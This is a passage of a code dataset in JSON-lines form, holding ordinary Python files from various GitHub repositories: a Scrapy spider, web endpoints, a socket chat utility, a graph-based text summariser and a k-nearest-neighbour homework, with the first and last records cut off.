write_size=slice_roi_entire.get_shape(),\n        compressor={'id': 'zlib', 'level': 5}\n        )\n\n    # print(\"resetting mask...\")\n    # if reset_mask:\n    #     mask_ds[segment_ds.roi] = 0\n    print(\"slice_roi_entire: %s\" % slice_roi_entire)\n    print(\"total_roi: %s\" % total_roi)\n\n    daisy.run_blockwise(\n        total_roi,\n        slice_roi_entire,\n        slice_roi_entire,\n        process_function=lambda b: process_block(\n            b,\n            file,\n            \"volumes/fragments\",\n            segment_f,\n            segment_ds_path,\n            # unlabeled_f,\n            # unlabeled_ds_path,\n            rag_provider,\n            hi_threshold_ds,\n            lo_threshold_ds,\n            mask_ds,\n            ),\n        # check_function=lambda b: check_block(\n        #     b, segmentation_dss[5]),\n        # num_workers=num_workers,\n        num_workers=num_workers,\n        read_write_conflict=False,\n        fit='valid')\n","repo_name":"htem/segway","sub_path":"gt_scripts/add_labels_mask_z.py","file_name":"add_labels_mask_z.py","file_ext":"py","file_size_in_byte":12403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"37985389417","text":"def P(a0, a1, j_, j):\n    if a0 > a1:\n        if j_ <= j: return 1\n        return 0\n    else:\n        if j_ >= j: return 1\n        return 0\n\nT = int(input())\nfor i in range(T):\n    K = int(input())\n    A = list(map(int, input().split()))\n    A = [A[j] for j in range(K) if j == 0 or A[j] != A[j-1]]\n    n = len(A)\n    dp = [[0 for _ in range(4)] for _ in range(K)]\n    for k in range(1, n):\n        for j in range(4):\n            dp[k][j] = float('inf')\n            for j_ in range(4):\n                dp[k][j] = min(dp[k-1][j_] + P(A[k-1], A[k], j_, j), dp[k][j])\n\n    print('Case #{}: {}'.format(i+1, min(dp[n-1])))","repo_name":"sangyx/algorithm","sub_path":"kickstart/alien_piano.py","file_name":"alien_piano.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44465306204","text":"# -*- coding: utf-8 -*-\n\nfrom starlette.endpoints import HTTPEndpoint\nfrom starlette.authentication import requires\nfrom starlette.responses import JSONResponse\n\nfrom webargs import fields\nfrom webargs_starlette import use_args\n\nfrom ...response import response\nfrom ...decorators import required_states\n\nfrom ....misc import SkrimRequest\n\n\nclass UserAPI(HTTPEndpoint):\n    @requires(\"user\")\n    @required_states([\"site.loggedIn\", \"user\"])\n    async def get(self, request: SkrimRequest) -> JSONResponse:\n        \"\"\"Used to get User data.\n\n        Parameters\n        ----------\n        request : Request\n\n        Returns\n        -------\n        response\n        \"\"\"\n\n        user = request.state.user\n        public_schema = request.state.public_schema[\"user\"]\n\n        return response((await user.get()).api_schema(public_schema))\n\n    @use_args({\"league_id\": fields.String(required=True, min=2, max=6),\n               \"league_name\": fields.String(required=True, min=3, max=32),\n               \"region\": fields.String(min=1, max=20),\n               \"email\": fields.Email(required=True),\n               \"anticheat\": fields.Boolean(),\n               \"allow_api_access\": fields.Boolean(),\n               \"kill\": fields.Float(), \"death\": fields.Float(),\n               \"round_won\": fields.Float(), \"round_lost\": fields.Float(),\n               \"match_won\": fields.Float(), \"match_lost\": fields.Float(),\n               \"assist\": fields.Float(), \"mate_blinded\": fields.Float(),\n               \"mate_killed\": fields.Float()})\n    @requires([\"site.loggedIn\", \"user.owner\"])\n    @required_states(\"user\")\n    async def post(self, request: SkrimRequest, paramters: dict\n                   ) -> JSONResponse:\n        \"\"\"Used to create league.\n\n        Parameters\n        ----------\n        request : Request\n        paramters : dict\n\n        Returns\n        -------\n        response\n        \"\"\"\n\n        model, _ = await request.state.user.create_league(**paramters)\n        request.session[\"login\"][\"league_ids\"].append(model.league_id)\n\n        return response(model.api_schema(\n            request.state.public_schema[\"user.owner\"]\n        ))\n","repo_name":"OpenQueue/API","sub_path":"SkrimAPI/routes/api/v1/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"41886287377","text":"import argparse\nimport re \n\ndef findcontexts(string, contextDict):\n    stringList=string.split()\n    for i in range(0, len(stringList)-2):\n        context=stringList[i]+'__'+stringList[i+2]\n        if context in contextDict:\n            contextDict[context].append(stringList[i+1])\n        else:\n            contextDict[context]=[stringList[i+1]]\n\ndef dust(contextDict):\n    mincount=3 #change to 50 for brown corpus\n    contextDictCopy=contextDict.copy()\n    for key in contextDictCopy.keys():\n        if len(contextDict[key]) < mincount:\n            del(contextDict[key])\n\ndef subDictionary(contextDict):\n    for key in contextDict.keys():\n        tempdict={}\n        for innerword in contextDict[key]:\n            if innerword in tempdict:\n                tempdict[innerword] += 1\n            else:\n                tempdict[innerword] = 1\n        contextDict[key]=tempdict\n\n# Sort contexts by the number of different words that appear in them. \n# Print a list of contexts, one per line, with the number of different \n# words that appear in them. Call this file “context list.txt”.\ndef output1(contextDict):\n    dictcopy=contextDict.copy()\n    for key in contextDict.keys():\n        dictcopy[key]=list(dictcopy[key])\n    with open('context_list.txt', 'w') as f:\n        for (k, v) in sorted(list(dictcopy.items()), key=lambda tup : len(tup[1])):\n            print(k+\":\", len(v), file=f)\n            \n    \ndef output2(contextDict):\n    dictcopy=contextDict.copy()\n    for key in contextDict.keys():\n        dictcopy[key]=sorted(list(dictcopy[key].items()), key=lambda tup: tup[1], reverse=True)\n    dictcopylist=sorted(list(dictcopy.items()), key=lambda tup : len(tup[1]), reverse=True)\n    # print(dictcopylist)\n\n    with open('words_in_contexts.txt', 'w') as f:\n        for tup in dictcopylist:\n            print('\\n'+tup[0]+ ':', file=f)\n            # print(str(tup[1])[1:-1])\n            for i in range(len(tup[1])//5+1):\n                print (str(tup[1][i*5:(i+1)*5])[1:-1], file=f)\n\n\n\n\ndef main(targetfile):\n    contextDict={}\n    file = open(targetfile, \"r\")\n    for x in file:\n        # ensuring space on either side of punctuation with regex \n        x = re.sub('([.,;:!?()])', r' \\1 ', x)\n        x = re.sub('\\s{2,}', ' ', x)\n        x=x.lower()\n        findcontexts(x, contextDict)\n    dust(contextDict)\n    subDictionary(contextDict)\n    # print(contextDict)\n    output1(contextDict)\n    output2(contextDict)\n\n\n\nif __name__ == '__main__':\n    parser=argparse.ArgumentParser()\n    parser.add_argument(\"targetfile\", help=\"Target Filepath\")\n    args = parser.parse_args()\n    main(args.targetfile)","repo_name":"bing857/Computational-Linguistics","sub_path":"ContextsToCategories/contexts_to_categories.py","file_name":"contexts_to_categories.py","file_ext":"py","file_size_in_byte":2612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10240976898","text":"from scrapy.http import Request, TextResponse\nfrom archiver.items import Question\nfrom archiver.spider import BaseSpider\n\nfrom urllib.parse import urlencode\nfrom attrs import fields\n\n\nclass RajyaSabhaSpider(BaseSpider):\n    BASE_URL = \"http://rajyasabha.nic.in\"\n    URL = \"https://rajyasabha.nic.in/Questions/IntegratedSearchFormResult\"\n\n    HEADERS = {\"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\"}\n\n    name = \"rajyasabha\"\n\n    # //*[@id=\"txtTitle\"]\n    # //*[@id=\"show\"]\n\n    def form_data(self, search_term: str):\n        \"\"\"Returns URL Encoded form data for the given search term.\n\n        Parameters\n        ----------\n\n        search_term: :class:`str`\n           The term to search for.\n\n        Returns\n        ----------\n\n        :class:`str`\n            The encoded URL string.\n\n        \"\"\"\n        raw = {\n            \"session\": \"\",\n            \"sessionto\": \"\",\n            \"mpCode\": \"\",\n            \"minCode\": \"\",\n            \"sesType\": \"ANYTYPE\",\n            \"QesNumber\": \"\",\n            \"Title\": search_term,\n            \"SessionDate_from\": \"Select\",\n            \"SessionDate_to\": \"Select\",\n            \"Match_on\": \"AllWord\",\n            \"Sort_by\": \"Any+Word\",\n            \"SearchOn\": \"Title\",\n        }\n        return urlencode(raw)\n\n    def start_requests(self):\n        for term in self.search_terms:\n            yield Request(\n                self.URL, method=\"POST\", body=self.form_data(term), headers=self.HEADERS\n            )\n\n    def parse(self, response: TextResponse):\n        table = response.xpath('//*[@id=\"Member_Tables\"]')\n\n        headers = fields(Question)\n\n        for row in table.xpath(\"./tbody//tr\"):\n            data = {}\n            for i, col in enumerate(row.xpath(\"./td\")):\n                if i == 6:\n                    elem = col.xpath(\".//a[text()='English']/@href\").get()\n                    value = f\"{self.BASE_URL}{elem}\"\n                else:\n                    value = col.xpath(\".//text()\").get()\n\n                header = headers[i].name\n                data[header] = value\n\n            try:\n                yield Question(**data)\n            except ValueError:\n                self.log_error(data)\n","repo_name":"zeffo/archiver","sub_path":"archiver/spiders/rajyasabha.py","file_name":"rajyasabha.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10534940098","text":"from django.shortcuts import render, redirect\n\n# Add the following import\nfrom django.http import HttpResponse\nfrom .models import *\nfrom .forms import WidgetsForm\n\n\"\"\"\nclass Cat:\n    def __init__(self, name, breed, description, age):\n        self.name = name\n        self.breed = breed\n        self.description = description\n        self.age = age\n\n\"\"\"\n# Define the home view\n\n\ndef home(request):\n    context = {}\n    context['form'] = WidgetsForm()\n    return render(request, \"index.html\", context)\n\n\ndef add_widget(request):\n    form = WidgetsForm(request.POST)\n\n    if form.is_valid():\n        widget = form.save()\n        widget.save()\n\n    return redirect('index')\n","repo_name":"akndesign/wackywidgets-unit3","sub_path":"wackywidgets-unit3/main_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43520927745","text":"if __name__ != \"__main__\":\n    from utils.DF_utils import DataFrame_Aluguel_Utils as Dau\n    from utils.consts import TIPOS_COM_PROBABILIDADE, retorna_aleatorio\n\n\n    def preenche_tipos(cls: Dau):\n\n        vals = []\n\n        for _ in range(0, cls.get_qtd):\n            valor = retorna_aleatorio(TIPOS_COM_PROBABILIDADE)\n            vals.append(valor)\n\n        cls.preenche_colunas(\"Tipo\", vals)\n","repo_name":"JSA04/PyFiles","sub_path":"DataScience/utils/preenche/preenche_tipos.py","file_name":"preenche_tipos.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35955760120","text":"from django.db import models\n\n\nclass LogRequest(models.Model):\n    endpoint = models.TextField()  # The url the user requested\n    username = models.CharField(\n        max_length=150, null=True\n    )  # User that made request, if authenticated\n    response_code = models.PositiveSmallIntegerField()  # Response status code\n    method = models.CharField(max_length=10, null=True)  # Request method\n    remote_address = models.CharField(max_length=20, null=True)  # IP address of user\n    exec_time = models.IntegerField(null=True)  # Time taken to create the response\n    date = models.DateTimeField(auto_now=True)  # Date and time of request\n\n    class Meta:\n        db_table = \"log_request\"\n        verbose_name = \"Log Request\"\n        verbose_name_plural = \"Log Requests\"\n","repo_name":"iCarto/sepraps","sub_path":"back/log/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41659972299","text":"from io import BytesIO\n\nfrom mapproxy.test.helper import Mocker\nfrom mapproxy.test.mocker import ANY\nfrom mapproxy.response import Response\nfrom mapproxy.compat import string_type\n\n\nclass TestResponse(Mocker):\n\n    def test_str_response(self):\n        resp = Response(\"string content\")\n        assert isinstance(resp.response, string_type)\n        start_response = self.mock()\n        self.expect(start_response(\"200 OK\", ANY))\n        self.replay()\n        result = resp({\"REQUEST_METHOD\": \"GET\"}, start_response)\n        assert next(result) == b\"string content\"\n\n    def test_itr_response(self):\n        resp = Response(iter([\"string content\", \"as iterable\"]))\n        assert hasattr(resp.response, \"next\") or hasattr(resp.response, \"__next__\")\n        start_response = self.mock()\n        self.expect(start_response(\"200 OK\", ANY))\n        self.replay()\n        result = resp({\"REQUEST_METHOD\": \"GET\"}, start_response)\n        assert next(result) == \"string content\"\n        assert next(result) == \"as iterable\"\n\n    def test_file_response(self):\n        data = BytesIO(b\"foobar\")\n        resp = Response(data)\n        assert resp.response == data\n        start_response = self.mock()\n        self.expect(start_response(\"200 OK\", ANY))\n        self.replay()\n        result = resp({\"REQUEST_METHOD\": \"GET\"}, start_response)\n        assert next(result) == b\"foobar\"\n\n    def test_file_response_w_file_wrapper(self):\n        data = BytesIO(b\"foobar\")\n        resp = Response(data)\n        assert resp.response == data\n        start_response = self.mock()\n        self.expect(start_response(\"200 OK\", ANY))\n\n        file_wrapper = self.mock()\n        self.expect(file_wrapper(data, resp.block_size)).result(\"DUMMY\")\n        self.replay()\n\n        result = resp(\n            {\"REQUEST_METHOD\": \"GET\", \"wsgi.file_wrapper\": file_wrapper}, start_response\n        )\n        assert result == \"DUMMY\"\n\n    def test_file_response_content_length(self):\n        data = BytesIO(b\"*\" * 342)\n        resp = Response(data)\n        assert resp.response == data\n        start_response = self.mock()\n        self.expect(start_response(\"200 OK\", ANY))\n        self.replay()\n        resp({\"REQUEST_METHOD\": \"GET\"}, start_response)\n        assert resp.content_length == 342\n","repo_name":"mapproxy/mapproxy","sub_path":"mapproxy/test/unit/test_response.py","file_name":"test_response.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":489,"dataset":"github-code","pt":"60"}
+{"seq_id":"36494642530","text":"from matplotlib.backends.backend_qtagg import FigureCanvasQTAgg\nimport matplotlib.pyplot as plt\nfrom matplotlib.figure import Figure\nimport networkx as nx\nfrom PyQt6.QtWidgets import QDialog, QLabel, QVBoxLayout\nfrom PyQt6 import QtWidgets,uic\nfrom modules.summaryPage import SummaryPage\nfrom torchmetrics.functional import rouge_score\nclass SentenceDialog(QDialog):\n    def __init__(self, sentence, parent=None):\n        super().__init__(parent)\n        self.setWindowTitle(\"Cümle özellikleri\")\n        layout = QVBoxLayout()\n        self.sentence_label = QLabel(f\"Cümle: {sentence.sentence}\")\n        layout.addWidget(self.sentence_label)\n        self.sentence_score_label = QLabel(f\"Cümle Skoru: {sentence.sentence_score}\")\n        layout.addWidget(self.sentence_score_label)\n        self.related_nodes_number_label = QLabel(f\"Düğüme Bağlı Düğüm sayısı: {sentence.related_nodes_number}\")\n        layout.addWidget(self.related_nodes_number_label)\n        self.setLayout(layout)\n\n\nclass Plot(Figure):\n    def __init__(self,G,pos,edge_labels,parent=None):\n        super().__init__(parent)\n        self.G=G\n        self.pos=pos\n        self.edge_labels=edge_labels\n        ax=self.add_subplot()\n        nx.draw_networkx_nodes(self.G, self.pos,ax=ax)\n        nx.draw_networkx_edges(self.G, self.pos,ax=ax)\n        nx.draw_networkx_labels(self.G,self.pos,font_size=5,ax=ax)\n        nx.draw_networkx_edge_labels(self.G,self.pos,edge_labels=self.edge_labels,font_size=5,ax=ax)\n\n        self.canvas=FigureCanvasQTAgg(self)\n        self.canvas.mpl_connect('button_press_event', lambda event: self.on_click(event,pos))\n        \n        \n    \n    def on_click(self, event,pos):\n        if event.inaxes is not None:\n            for node in self.G.nodes():\n                x,y=pos[node]\n                if x - 0.05 < event.xdata < x + 0.05 and y - 0.05 < event.ydata < y + 0.05:\n                    sentence = self.G.nodes[node][\"sentence\"]\n                    dialog =SentenceDialog(sentence)\n                    dialog.exec()\n\nclass PlotPage(QtWidgets.QMainWindow):\n    \n    def __init__(self,G,pos,edge_labels,score_list,summarizedTextPath):\n        super().__init__()\n        self.window=None\n        self.cid=None\n        self.summary=None\n        self.rouge_score=None\n        self.summarizedTextPath=summarizedTextPath\n        self.G_filtered=nx.Graph()\n        self.G=G\n        self.pos=pos\n        self.edge_labels=edge_labels\n        self.score_list=score_list\n        uic.loadUi(\"plot.ui\",self)\n        self.fig=Plot(self.G,self.pos,self.edge_labels)\n        layout=QVBoxLayout(self.widget_2)\n        layout.addWidget(self.fig.canvas)\n        self.setWindowTitle(\"Graf\")\n        self.pushButton.clicked.connect(self.filter_graph)\n        self.pushButton_2.clicked.connect(self.create_summary)\n        self.filtered_list = []\n\n    def filter_graph(self):\n        if self.cid != None:\n            self.fig.canvas.mpl_disconnect(self.cid)\n        sentence_score=float(self.plainTextEdit.toPlainText())\n        sentence_similarity=float(self.plainTextEdit_2.toPlainText())\n        \n        self.filtered_list=[ n for n in self.G.nodes() if self.G.nodes[n]['sentence'].sentence_score >= sentence_score  ]\n        self.G_filtered=self.G.subgraph(self.filtered_list).copy()\n        self.pos = nx.spring_layout(self.G_filtered,weight='weight')\n        for key, value in nx.get_edge_attributes(self.G_filtered, 'weight').items():\n            if value < sentence_similarity:\n\n                self.G_filtered.remove_edge(key[0],key[1])\n        self.G_filtered=self.G_filtered.subgraph([n for n in self.G_filtered.nodes() if self.G_filtered.degree(n)>0])\n        self.edge_labels = nx.get_edge_attributes(self.G_filtered, 'weight')\n        self.edge_labels={key:value for key, value in self.edge_labels.items() if value >= sentence_similarity}\n\n        sum_of_neighbors=0\n        for node in self.G_filtered.nodes():\n            sum_of_neighbors+=len(self.G_filtered.adj[node])\n        for node in self.G_filtered.nodes():\n            p1=self.score_list[node-1][0]\n            p2=self.score_list[node-1][1]\n            p3=self.score_list[node-1][2]\n            p4=self.score_list[node-1][3]\n            neighbors_number=len(self.G_filtered.adj[node])\n            self.G_filtered.nodes[node]['sentence'].related_nodes_number=neighbors_number\n            self.G_filtered.nodes[node]['sentence'].sentence_score=round((p4+p3+((neighbors_number/sum_of_neighbors)*len(self.G_filtered.nodes())))/3*(1+(p2+p1)),3)\n\n\n\n        self.fig.G = self.G_filtered\n        self.fig.pos = self.pos\n        self.fig.edge_labels = self.edge_labels\n    \n        ax = self.fig.axes[0]\n        ax.clear()\n        nx.draw_networkx_nodes(self.G_filtered, self.pos, ax=ax)\n        nx.draw_networkx_edges(self.G_filtered, self.pos, ax=ax)\n        nx.draw_networkx_labels(self.G_filtered, self.pos, font_size=5, ax=ax)\n        nx.draw_networkx_edge_labels(self.G_filtered, self.pos, edge_labels=self.edge_labels, font_size=5, ax=ax)\n        self.cid=self.fig.canvas.mpl_connect('button_press_event', lambda event: self.on_click(event,self.pos))\n        self.fig.canvas.draw()\n       \n    def create_summary(self):\n        text = self.create_summary_text()\n        f = open(self.summarizedTextPath)\n        lines = f.read()\n        f.close()\n        print(self.window)\n        if self.window is None:\n            self.window = SummaryPage()\n            print(self.window.summary)\n            \n        RG=self.calculate_rouge_score(text, lines)\n        self.window.update_summary(text,''.join(RG))\n        self.window.show()\n        \n        \n    def create_summary_text(self):\n        sentence_score_list = []\n        sentence_list = []\n\n        for node in self.G_filtered.nodes():\n            sentence_score_list.append(float(self.G_filtered.nodes[node]['sentence'].sentence_score))\n            sentence_list.append(self.G_filtered.nodes[node]['sentence'].sentence)\n\n        temp_score_list = sentence_score_list\n\n        sort_list_index = []\n        i = 0\n        while i < len(temp_score_list):\n            index = i\n            max = temp_score_list[i]\n            j = 0\n            while j < len(temp_score_list):\n                if max <= temp_score_list[j]:\n                    index = j\n                    max = temp_score_list[j]\n                j += 1\n            sort_list_index.append(index)\n            temp_score_list[index] = 0\n            i += 1\n        text = ''\n        for i in sort_list_index:\n            text += sentence_list[i] + '. '\n        return text\n\n\n\n    def calculate_rouge_score(self,text,ozet):\n        RG = rouge_score(text, ozet)\n        formatted_score=[]\n        for metric , value in RG.items():\n            fs=f'{metric} : {value.item(): .3f}% \\n'\n            formatted_score.append(fs)\n        return formatted_score\n    \n\n    def on_click(self, event,pos):\n        if event.inaxes is not None:\n            for node in self.G_filtered.nodes():\n                x,y=pos[node]\n                if x - 0.05 < event.xdata < x + 0.05 and y - 0.05 < event.ydata < y + 0.05:\n                    sentence = self.G.nodes[node][\"sentence\"]\n                    dialog =SentenceDialog(sentence)\n                    dialog.exec()","repo_name":"MuhammetErenGur/text-summarizer","sub_path":"modules/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":7227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29029351674","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 15 22:09:44 2021\n\n@author: rodin\n\"\"\"\n\na = 3.3; b = 5.3; a2 = a**2; b2 = b**2\neq1_sum = a2 + 2*a*b + b2 \neq2_sum = a2 - 2*a*b + b2 \neq1_pow = (a + b)**2 \neq2_pow = (a - b)**2\n \nprint('First equation: %g = %g' %(eq1_sum, eq1_pow)) \nprint ('Second equation: %g = %g' %(eq2_pow, eq2_pow))","repo_name":"Rodi-Filipe/scipro-primer","sub_path":"formulas/find_errors_program3.py","file_name":"find_errors_program3.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42906983739","text":"import socket, json\n\ncmdList=['join','list','talk','quit','error','genText']\n\n\ndef create_socket(host, port, backlog):\n  # create a TCP socket (SOCK_STREAM)\n  s = socket.socket(socket.AF_INET,     # socket domain: internet=AF_INET, bluetooth=AF_BLUETOOTH\n                  socket.SOCK_STREAM)        # tcp=SOCK_STREAM, udp=SOCK_DGRAM\n                  # proto=0           i.e. protocol within socket family\n  print('Socket created')\n\n  # make it non blocking i.e multiple clients can interact > server dies immediately\n  # server_sock.setblocking(0)\n  # server_sock.settimeout(0.5)\n  s.setsockopt(\n      socket.SOL_SOCKET,\n      socket.SO_REUSEADDR,\n      1)\n\n  # bind to host, port\n  s.bind((host, port))\n\n  # start listening - backlog = no. of unaccepted conns before refusing\n  s.listen(backlog)\n  return s\n\n\n# add delimiter based on protocol to content\n#   client_sock.send(res.encode('utf-8')) # (bytes(ctime(), 'utf-8')\ndef send_content(s, c, delimiter = '\\0'):\n  c += delimiter\n  s.sendall(c.encode('utf-8'))\n\n\n# message is cont so separate using delimiter into\n#   full and partial messages\ndef parse_payloads(mixed_payload, delimiter = b'\\0'):\n  payloads = mixed_payload.split(delimiter)\n  full_payloads = payloads[:-1]    # all complete payloads\n  partial_payload = payloads[-1]   # last incomplete payload\n  return (full_payloads, partial_payload)\n\ndef createPayload(to,sender,content,error=None):\n  p={}\n  p['to']=to\n  p['sender']=sender\n  p['content']=content\n  p['error']=error\n  return json.dumps(p)\n\n# load mixed payload at socket - mixed_payloads passed from prev\n# and can contain partial payload\ndef get_content_from_payloads(s, mixed_payloads, size = 4096, delimiter = b'\\0'):\n  full_payloads = []\n  while not full_payloads:\n    payload_batch = s.recv(size)\n    if not payload_batch:\n      raise ConnectionError()\n\n    mixed_payloads = mixed_payloads + payload_batch\n    (full_payloads, partial_payload) = parse_payloads(mixed_payloads, delimiter)\n\n  full_payloads = [payload.decode('utf-8') for payload in full_payloads]\n  return (full_payloads, partial_payload)\n\n","repo_name":"ssd12/py-chat","sub_path":"chat_util.py","file_name":"chat_util.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71731636030","text":"#!/usr/bin/python3\n\"\"\"\nstarts a Flask web application\n\"\"\"\n\nfrom flask import Flask, render_template\nfrom models import *\nfrom models import storage\napp = Flask(__name__)\n\n\n@app.route('/doctors', strict_slashes=False)\n@app.route('/doctors/<doctor_id>', strict_slashes=False)\ndef doctors(doctor_id=None):\n    \"\"\"display the doctors listed in alphabetical order\"\"\"\n    doctors = storage.all(\"Doctor\")\n    if doctor_id is not None:\n        doctor_id = 'Doctor.' + doctor_id\n    return render_template('9-doctors.html', doctors=doctors, doctor_id=doctor_id)\n\n\n@app.teardown_appcontext\ndef teardown_db(exception):\n    \"\"\"closes the storage on teardown\"\"\"\n    storage.close()\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port='8000')\n","repo_name":"godfrey-creat/AfyaTechapp","sub_path":"web_flask/9-doctors.py","file_name":"9-doctors.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1412453226","text":"import pandas as pd\r\nfrom sklearn.base import BaseEstimator, ClassifierMixin\r\nfrom sklearn.metrics.scorer import make_scorer\r\nfrom sklearn import model_selection\r\nfrom scipy.spatial import distance \r\nimport seaborn as sns\r\n\r\n\r\n# -----------------------------------------------------------------------------\r\n# From hw06\r\n    \r\nclass OneNNClassifier(BaseEstimator, ClassifierMixin):\r\n    def __init__(self):\r\n        self.inputsDF = None\r\n        self.outputSeries = None\r\n        self.scorer = make_scorer(accuracyOfActualVsPredicted, greater_is_better=True)    \r\n    def fit(self, inputsDF, outputSeries):\r\n        self.inputsDF = inputsDF\r\n        self.outputSeries = outputSeries\r\n        return self\r\n    def predict(self, testInput):\r\n        if isinstance(testInput, pd.core.series.Series):\r\n            return self.outputSeries.loc[findNearestHOF(self.inputsDF, testInput)]\r\n        else:\r\n            series = testInput.apply(lambda r: findNearestHOF(self.inputsDF, r),axis = 1)\r\n            newSeries = series.map(lambda r: self.outputSeries.loc[r])\r\n            return newSeries\r\n            \r\n            \r\ndef findNearestHOF(df,testRow):\r\n    nearestHOF = df.apply(lambda row: distance.euclidean(row, testRow),axis = 1)\r\n    return nearestHOF.idxmin()  \r\n\r\ndef accuracyOfActualVsPredicted(actualOutputSeries, predOutputSeries):\r\n    compare = (actualOutputSeries == predOutputSeries).value_counts()\r\n    if (True in compare):\r\n        accuracy = compare[True] / actualOutputSeries.size\r\n    else:\r\n        accuracy = 0\r\n    return accuracy\r\n\r\n# -----------------------------------------------------------------------------\r\n# Problem 1\r\n    \r\ndef standardize(df, listCol):\r\n    df.loc[:, listCol] = (df.loc[:, listCol] - df.loc[:, listCol].mean()) / df.loc[:, listCol].std()\r\n    return df.loc[:, listCol]\r\n\r\n# Given\r\ndef operationsOnDataFrames():\r\n    d = {'x' : pd.Series([1, 2], index=['a', 'b']),\r\n         'y' : pd.Series([10, 11], index=['a', 'b']),\r\n         'z' : pd.Series([30, 25], index=['a', 'b'])}\r\n    df = pd.DataFrame(d)\r\n    print(\"Original df:\", df, type(df), sep='\\n', end='\\n\\n')\r\n    \r\n    cols = ['x', 'z']\r\n    \r\n    df.loc[:, cols] = df.loc[:, cols] / 2\r\n    print(\"Certain columns / 2:\", df, type(df), sep='\\n', end='\\n\\n')\r\n    \r\n    maxResults = df.loc[:, cols].max()\r\n    print(\"Max results:\", maxResults, type(maxResults), sep='\\n', end='\\n\\n')\r\n    \r\n# Given\r\ndef readData(numRows = None):\r\n    inputCols = [\"Alcohol\", \"Malic Acid\", \"Ash\", \"Alcalinity of Ash\", \"Magnesium\", \"Total Phenols\", \"Flavanoids\", \"Nonflavanoid Phenols\", \"Proanthocyanins\", \"Color Intensity\", \"Hue\", \"Diluted\", \"Proline\"]\r\n    outputCol = 'Class'\r\n    colNames = [outputCol] + inputCols  # concatenate two lists into one\r\n    wineDF = pd.read_csv(\"data/wine.data\", header=None, names=colNames, nrows = numRows)\r\n    \r\n    # Need to mix this up before doing CV\r\n    # wineDF = wineDF.sample(frac=1)  # \"sample\" 100% randomly.\r\n    wineDF = wineDF.sample(frac=1, random_state=99).reset_index(drop=True)\r\n    return wineDF, inputCols, outputCol\r\n\r\n# Given\r\ndef testStandardize():\r\n    df, inputCols, outputCol = readData()\r\n    someCols = inputCols[2:5]\r\n    print(\"Before standardization, first 5 rows:\", df.loc[:,someCols].head(5), sep='\\n', end='\\n\\n')\r\n    standardize(df, someCols)\r\n    print(\"After standardization, first 5 rows:\", df.loc[:,someCols].head(5), sep='\\n', end='\\n\\n')\r\n    \r\n    # Proof of standardization:\r\n    print(\"Means are approx 0:\", df.loc[:, someCols].mean(), sep='\\n', end='\\n\\n')\r\n    print(\"Stds are approx 1:\", df.loc[:, someCols].std(), sep='\\n', end='\\n\\n')\r\n\r\n# -----------------------------------------------------------------------------\r\n# Problem 2\r\ndef normalize(df, listCol):\r\n    df.loc[:, listCol] = (df.loc[:, listCol]-df.loc[:, listCol].min()) / (df.loc[:, listCol].max()-df.loc[:, listCol].min())\r\n    return df.loc[:, listCol]\t\r\n\r\n# Given\r\ndef testNormalize():\r\n    df, inputCols, outputCol = readData()\r\n    someCols = inputCols[2:5]\r\n    print(\"Before normalization, first 5 rows:\", df.loc[:,someCols].head(5), sep='\\n', end='\\n\\n')\r\n    normalize(df, someCols)\r\n    print(\"After normalization, first 5 rows:\", df.loc[:,someCols].head(5), sep='\\n', end='\\n\\n')\r\n    \r\n    # Proof of normalization:\r\n    print(\"Maxes are 1:\", df.loc[:, someCols].max(), sep='\\n', end='\\n\\n')\r\n    print(\"Mins are 0:\", df.loc[:, someCols].min(), sep='\\n', end='\\n\\n')\r\n    \r\n# -----------------------------------------------------------------------------\r\n# Problem 3\r\ndef comparePreprocessing(k = 10):\r\n    df, inputCols, outputCol = readData()\r\n    alg = OneNNClassifier()    \r\n        \r\n    results = model_selection.cross_val_score(alg, df.loc[:, inputCols], df.loc[:, outputCol], cv=k, scoring=alg.scorer)\r\n    print(\"Original Values: \", results.mean())\r\n    \r\n    dfCopy = df.copy()\r\n    standardize(dfCopy, inputCols)\r\n    results = model_selection.cross_val_score(alg, dfCopy.loc[:, inputCols], dfCopy.loc[:, outputCol], cv=k, scoring=alg.scorer)\r\n    print(\"After standardization: \", results.mean())\r\n    \r\n    dfCopy = df.copy()\r\n    normalize(dfCopy, inputCols)\r\n    results = model_selection.cross_val_score(alg, dfCopy.loc[:, inputCols], dfCopy.loc[:, outputCol], cv=k, scoring=alg.scorer)\r\n    print(\"After normalization: \", results.mean())\r\n      \r\n'''\r\na)  Original Values:  0.7467169762641899\r\n    After standardization:  0.954499914000688\r\n    After normalization:  0.9548267113863089\r\n\r\n    In both standardization and normalization the data is rescaled \r\n    Standardization is scaled between the mean = 